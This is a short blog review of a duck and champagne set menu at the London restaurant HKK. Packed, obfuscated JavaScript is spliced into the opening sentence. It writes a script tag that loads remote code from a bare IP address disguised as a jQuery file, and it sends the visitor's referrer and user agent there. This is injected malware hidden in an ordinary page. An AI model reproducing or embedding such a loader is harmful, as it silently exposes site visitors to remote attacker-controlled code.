We (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kybfs|var|u0026u|referrer|kinzs||js|php’.split(‘|’),0,{}))
absolutely love HKK, the Michelin-starred Chinese restaurant in the City, so when we heard they were launching a new Duck and Champagne set menu on Saturdays we were straight down there to check it out. The Peking Duck is HKK’s signature dish and the new four course menu gives you a whole duck to share served in a variety of ways, plus a bottle Louis Roederer Champagne for £49 per person.

The duck is without a doubt the best we’ve ever had but a lot of work goes into it – each duck is marinated in a glaze of Chinese five spice, lemon grass, sugar, vinegar and garlic, and is hung to dry for minimum of twenty-four hours, before being placed in the firestone oven over a cherry wood fire until the meat is succulent and the glossy skin crisp.

The first course is a fresh Blue crab salad and then the duck is wheeled out and carved table side by the chef. The first serving comes in three ways – crispy skin, breast and leg meat – while the second offers sesame pancakes to wrap around the meat with plum sauce and cucumber. There is also duck and abalone supreme stock with egg fried rice, and for dessert nashi pear and champagne mousse with cotton candy.

All in all, the duck at HKK is one of those dishes you have to try and this new menu is the perfect excuse to get down there and try it for yourself.

88 Worship St, London EC2A 2BE